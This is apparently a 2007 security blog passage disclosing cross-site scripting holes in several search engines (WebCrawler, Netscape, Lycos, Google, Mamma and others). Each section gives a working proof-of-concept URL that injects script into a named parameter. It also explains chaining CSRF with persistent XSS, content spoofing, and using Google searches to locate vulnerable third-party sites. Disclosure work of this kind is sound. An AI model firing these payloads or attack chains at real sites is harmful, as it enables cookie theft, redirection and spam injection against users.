Websecurity - Веб безпека

Next participant of the project is WebCrawler search engine. It is one of the popular meta search engines.

The vulnerabilities are at WebCrawler Web Search (www.webcrawler.com) in White Pages search. These Cross-Site Scripting holes I found 26.05.2007.

XSS:

• alert(document.cookie)
• alert(document.cookie)
• redirector
• html injection

The vulnerabilities are in qf and qn parameters:
http://www.webcrawler.com/info.wbcrwl/white-pages/message.htm?otmpl=/white-pages/results.htm&qf=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E&searchtype=citystate

Moral: using white pages search can be dangerous.

Note, that WebCrawler engine belongs to InfoSpace, Inc. So they also responsible for these vulnerabilities.

P.S.

Also I prepared another interesting bug. So wait for today’s bonus post .

New bonus vulnerabilities in Netscape Search. In this case vulnerabilities at the same domain, like in MOSEB-19: Persistent XSS at search.netscape.com.

The vulnerabilities are at Netscape Search. There are two Cross-Site Scripting holes and these holes was found 19.06.2007. First one, which sent me Yorn today, is XSS (persistent) vuln in Search History - it is the same vuln as one I described at MOSEB-19, but that was hole in search script, and this hole is in image script.

CSRF + XSS:

• alert(document.cookie)

The vulnerability is in query parameter:
http://search.netscape.com/search/image?invocationType=topsearchbox.image&query=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

First you use CSRF to save XSS code into user’s Search History. And then you trick user to visit site by simple link to engine to execute XSS.

Second hole, which I found today (when decided to make bonus post for you), it is XSS in Recent Search function.

XSS:

• alert(document.cookie)
• redirector
• html injection

The vulnerability is in a parameter:
http://search.netscape.com/search/gib?invocationType=recentSearchMaint&a=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Moral: search history in engines can be dangerous.

Note, that Netscape engine use AOL search engine which use Google engine. So Google also responsible for these vulnerabilities.

Next participant of the project is Netscape Search engine. It is one of the popular meta search engines (in USA).

The vulnerability is at Netscape Search (search.netscape.com) in search results (in Search History). This Cross-Site Scripting hole I found 18.05.2007 and it is persistent XSS.

Like in MOSEB-03 Bonus: Persistent XSS at hotbot.com this is also a complex CSRF + XSS attack which make this persistent XSS working.

CSRF + XSS:

• alert(document.cookie)

The vulnerability is in query parameter and appears in Search History function (which remember user’s search queries):
http://search.netscape.com/search/search?invocationType=topsearchbox.webhome&query=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

First you use CSRF (for example via frame or iframe tag) to save XSS code into user’s Search History. And then user must go to search.netscape.com and search, or just visit by simple link to engine (you may trick him to visit the site) to execute XSS hole.

Moral: even just simple searching in engine can be dangerous.

Note, that Netscape engine use AOL search engine (which use Google engine). So Google also responsible for this vulnerability.

P.S.

Also I prepared others holes at Netscape Search. So wait for today’s bonus post .

Next participant of the project is Aport search engine. It is one of the popular Russian search engines.

The vulnerability is in Aport’s web search (sm.aport.ru). I already wrote about this vulnerability at aport.ru. This Cross-Site Scripting hole I found 12.09.2006, and informed vendor, but they still didn’t fix it.

XSS:

• alert(document.cookie)
• redirector
• html injection

The vulnerability is in r parameter:
http://sm.aport.ru/scripts/template.dll?That=std&r=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Moral: looking for sites can be dangerous.

New bonus vulnerability in Lycos. In this case vulnerability not at search domain, like at MOSEB-17: Vulnerability at search.lycos.com, but at main domain of Lycos (in Retriever service).

The vulnerability is at main Lycos site (www.lycos.com) in Lycos Retriever. This Cross-Site Scripting hole I found 10.06.2007.

XSS:

• alert(document.cookie)
• redirector
• html injection

The vulnerability is in query parameter:
http://www.lycos.com/retriever/search.php?rbsearch=dna&query=%3Cscript%3Ealert(document.cookie)%3C/script%3E

Moral: surfing on search engines vendors’ sites can be risky.

Next participant of the project is Lycos search engine. It is one of the popular search engines.

The vulnerability is at Lycos (search.lycos.com) in web search. This Cross-Site Scripting hole I found 09.10.2006. When I found this hole at Lycos in that October day, I first thought about making some project with vulns in search engines (which became MOSEB).

XSS:

• alert(document.cookie)
• redirector
• html injection (PR7)

The vulnerability is in query parameter:
http://search.lycos.com/?query=%3C/title%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E

Also page with html injection hole has PR7. It is a sweet dream (and I made dream come true). And this is best choice for black seo guys .

Moral: searching in the web can be dangerous.

Note, that Lycos engine use Ask.com search engine. So Ask.com also responsible for this vulnerability.

P.S.

I prepared another hole at Lycos. So wait for today’s bonus post .

Next participant of the project is My Way search engine. It is one of the popular meta search engines (in USA).

The vulnerabilities are at My Way (search.myway.com) in search results. These Cross-Site Scripting holes I found 27.05.2007.

XSS:

• alert(document.cookie)
• alert(document.cookie)
• alert(document.cookie)
• redirector
• html injection

The vulnerabilities are in searchfor, st and ptnrS parameters:
http://search.myway.com/search/AJmain.jhtml?ptnrS=mw&searchfor=%3Cscript%3Ealert(document.cookie)%3C/script%3E

Moral: searching in meta engines can be risky.

Note, that My Way engine belongs to IAC Search & Media. So Ask.com also responsible for these vulnerabilities (as for their own at MOSEB-10 and MOSEB-10 Bonus).

New bonus vulnerability in Google. In this case vulnerability not directly at Google’s site, like at MOSEB-15: Vulnerabilities at images.google.com, but in his search engine called Google Custom Search Engine (also known as Google Co-op).

The hole are in Google Custom Search Engine, which can be used as local engine for site or as custom engine (for special purposes). And at present this engine are using by a lot of sites (and so many of them can be vulnerable).

Searching in Google (aka Google Hacking) allow you to quickly find sites which are using Google Custom Search Engine and find holes in them. So every user of this engine need to attend to security.

The vulnerability is in q parameter (in main script):
http://site/search.php?q=%3C%2Ftitle%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E

As an examples I’ll show you three sites jumpup.intuit.com (hole found 25.10.2006), ukrbs.org.ua (hole found 17.04.2007) and progler.ru (hole found 15.06.2007) with this custom search engine.

http://jumpup.intuit.com

XSS:

• alert(document.cookie)
• redirector
• html injection (PR4)

Also page with html injection hole has PR4. It will be interesting for black seo guys.

http://ukrbs.org.ua

XSS:

• alert(document.cookie)
• redirector
• html injection

http://progler.ru

XSS:

• alert(document.cookie)
• redirector
• html injection

The main question: is Google thinking about its users’ security? Not too much. Like in case of others local engines Yandex in MOSEB-07 Bonus and AltaVista in MOSEB-12 Bonus. Vendors have a lot of places for improvement.

Moral #1: searching in custom engines can be dangerous.

Moral #2: if you are using local (custom) search engine at your site (even from famous vendor), always attend to security audit of the site.

Moral #3: if you are top search engine vendor you need to attend to security of your applications and not to put users of your services into the risk.

Next participant of Month of Search Engines Bugs is Google. It is the most popular search engine in the world.

The vulnerabilities are at Google Image Search (images.google.com, on others domains such as images.google.com.ua the same situation). These are Cross-Site Scripting and Content Spoofing holes which I found 03.06.2007. There were similar security issues at Yahoo in MOSEB-02 and at search.live.com (and others engines) - vulnerabilities in image search are common for search engines.

XSS:

• redirector 1st
• redirector 2nd

The vulnerability is in imgrefurl parameter:
http://images.google.com/imgres?imgurl=http://194.84.161.5/MetDoc/Gdtran/NTS/Teplovoz/Bezop_dv/L_R/2_1.gif&imgrefurl=http://websecurity.com.ua/webtools/xss_r.html&h=512&w=818&sz=19&tbnid=3IYCwB3Is49zAM:&tbnh=90&tbnw=14

I called this type of XSS attacks Remote XSS/HTML Include (in this case remote HTML including as remote XSS including are possible). First time I found this type of holes 12.11.2006 in site’s search at one site of one security company wich developed their security scanner (which is lame because not found a lot of holes at their own site) . I didn’t write about holes at that site in my news yet, because I’m very overloaded with hundreds (even thousands) of vulns which I found on sites all over the web. But I’ll certainly do it with time.

Content Spoofing:

• html injection

Bad guys also can make content spoofing attack with Google Image Search. Because they can spoof not just a page in image preview (imgrefurl parameter), for remote XSS/HTML inclusion as mentioned above, but also imgurl parameter. And because Google save links to images thumbnails in tbnid parameter, so it is possible to find any useful image in Google and use it for attracting users while imgrefurl and imgurl parameters can be spoofed (because they are not checking in connection with tbnid). And these parameters can be arbitrary, so attackers can create special image preview page with custom image, custom previewed html page and custom links (to image and page).

Moral #1: searching for images even in top engines can be dangerous.

Moral #2: pupular search engines need to take care of their and their users security (especially top engines).

P.S.

Also I prepared another hole concerned with Google. So wait for today’s bonus post .

Next participant of the project is Mamma search engine (Mamma Metasearch). It is one of the popular search engines (and it is meta engine).

The vulnerabilities are at Mamma (www.mamma.com) in web search. These Cross-Site Scripting holes I found 30.05.2007.

XSS:

• alert(document.cookie)
• alert(document.cookie)
• redirector
• html injection

The vulnerabilities are in query and cb parameters:
http://www.mamma.com/Mamma?cb=Askjeeves_mamma&query=test--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Moral: meta searching can be dangerous.